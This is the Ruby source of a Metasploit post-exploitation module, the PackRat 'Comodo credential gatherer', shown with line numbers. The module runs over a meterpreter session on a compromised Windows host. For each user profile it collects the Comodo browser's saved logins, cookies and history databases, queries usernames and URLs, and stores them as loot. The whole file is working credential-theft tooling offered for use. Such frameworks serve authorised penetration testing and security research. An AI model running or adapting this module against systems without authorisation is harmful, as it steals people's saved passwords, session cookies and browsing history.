Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
# frozen_string_literal: true
2

3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7

8
class MetasploitModule < Msf::Post
9
  # this associative array defines the artifacts known to PackRat
10
  include Msf::Post::File
11
  include Msf::Post::Windows::UserProfiles
12
  include Msf::Post::Windows::Packrat
13
  ARTIFACTS =
14
    {
15
      application: 'comodo',
16
      app_category: 'browsers',
17
      gatherable_artifacts: [
18
        {
19
          filetypes: 'logins',
20
          path: 'LocalAppData',
21
          dir: 'Comodo',
22
          artifact_file_name: 'Login Data',
23
          description: "Comodo's saved Username and Passwords",
24
          credential_type: 'sqlite',
25
          sql_search: [
26
            {
27
              sql_description: "Database Commands which exports Chrome's Login data",
28
              sql_table: 'logins',
29
              sql_column: 'action_url, username_value'
30
            }
31
          ]
32
        },
33
        {
34
          filetypes: 'cookies',
35
          path: 'LocalAppData',
36
          dir: 'Comodo',
37
          artifact_file_name: 'Cookies',
38
          description: "Comodo's saved cookies",
39
          credential_type: 'sqlite',
40
          sql_search: [
41
            {
42
              sql_description: "Database Commands which exports Chrome's Cookie data",
43
              sql_table: 'cookies',
44
              sql_column: 'host_key, name, path'
45
            }
46
          ]
47
        },
48
        {
49
          filetypes: 'web_history',
50
          path: 'LocalAppData',
51
          dir: 'Comodo',
52
          artifact_file_name: 'History',
53
          description: "Comodo's History",
54
          credential_type: 'sqlite',
55
          sql_search: [
56
            {
57
              sql_description: "Database Commands which exports Chrome's Login data",
58
              sql_table: 'urls',
59
              sql_column: 'url'
60
            },
61
            {
62
              sql_description: "Database Commands which exports Chrome's Login data",
63
              sql_table: 'keyword_search_terms',
64
              sql_column: 'lower_term'
65
            },
66
            {
67
              sql_description: "Database Commands which exports Chrome's Login data",
68
              sql_table: 'downloads',
69
              sql_column: 'current_path, tab_referrer_url'
70
            },
71
            {
72
              sql_description: "Database Commands which exports Chrome's Login data",
73
              sql_table: 'segments',
74
              sql_column: 'name'
75
            },
76
            {
77
              sql_description: "Database Commands which exports Chrome's Login data",
78
              sql_table: 'downloads_url_chains',
79
              sql_column: 'url'
80
            }
81
          ]
82
        },
83
        {
84
          filetypes: 'web_history',
85
          path: 'LocalAppData',
86
          dir: 'Comodo',
87
          artifact_file_name: 'Visited Links',
88
          description: "Comodo's History",
89
          credential_type: 'sqlite',
90
          sql_search: [
91
            {
92
              sql_description: "Database Commands which exports Chrome's Login data",
93
              sql_table: 'urls',
94
              sql_column: 'url'
95
            },
96
            {
97
              sql_description: "Database Commands which exports Chrome's Login data",
98
              sql_table: 'keyword_search_terms',
99
              sql_column: 'lower_term'
100
            },
101
            {
102
              sql_description: "Database Commands which exports Chrome's Login data",
103
              sql_table: 'downloads',
104
              sql_column: 'current_path, tab_referrer_url'
105
            },
106
            {
107
              sql_description: "Database Commands which exports Chrome's Login data",
108
              sql_table: 'segments',
109
              sql_column: 'name'
110
            },
111
            {
112
              sql_description: "Database Commands which exports Chrome's Login data",
113
              sql_table: 'downloads_url_chains',
114
              sql_column: 'url'
115
            }
116
          ]
117
        }
118
      ]
119
    }.freeze
120

121
  def initialize(info = {})
122
    super(
123
      update_info(
124
        info,
125
        'Name' => 'Comodo credential gatherer',
126
        'Description' => %q{
127
          PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
128
          PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
129
          Further details can be found in the module documentation.
130
          This is a module that searches for credentials stored in Comodo on a windows remote host.
131
        },
132
        'License' => MSF_LICENSE,
133
        'Author' => [
134
          'Kazuyoshi Maruta',
135
          'Daniel Hallsworth',
136
          'Barwar Salim M',
137
          'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org
138
        ],
139
        'Platform' => ['win'],
140
        'SessionTypes' => ['meterpreter'],
141
        'Notes' => {
142
          'Stability' => [CRASH_SAFE],
143
          'Reliability' => [],
144
          'SideEffects' => []
145
        }
146
      )
147
    )
148

149
    register_options(
150
      [
151
        OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),
152
        OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
153
        OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
154
        # enumerates the options based on the artifacts that are defined below
155
        OptEnum.new('ARTIFACTS', [
156
          false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|
157
                                                          k[:filetypes]
158
                                                        end.uniq.unshift('All')
159
        ])
160
      ]
161
    )
162
  end
163

164
  def run
165
    print_status('Filtering based on these selections:  ')
166
    print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
167
    print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
168
    print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
169

170
    # used to grab files for each user on the remote host
171
    grab_user_profiles.each do |userprofile|
172
      run_packrat(userprofile, ARTIFACTS)
173
    end
174

175
    print_status 'PackRat credential sweep Completed'
176
  end
177
end
178

179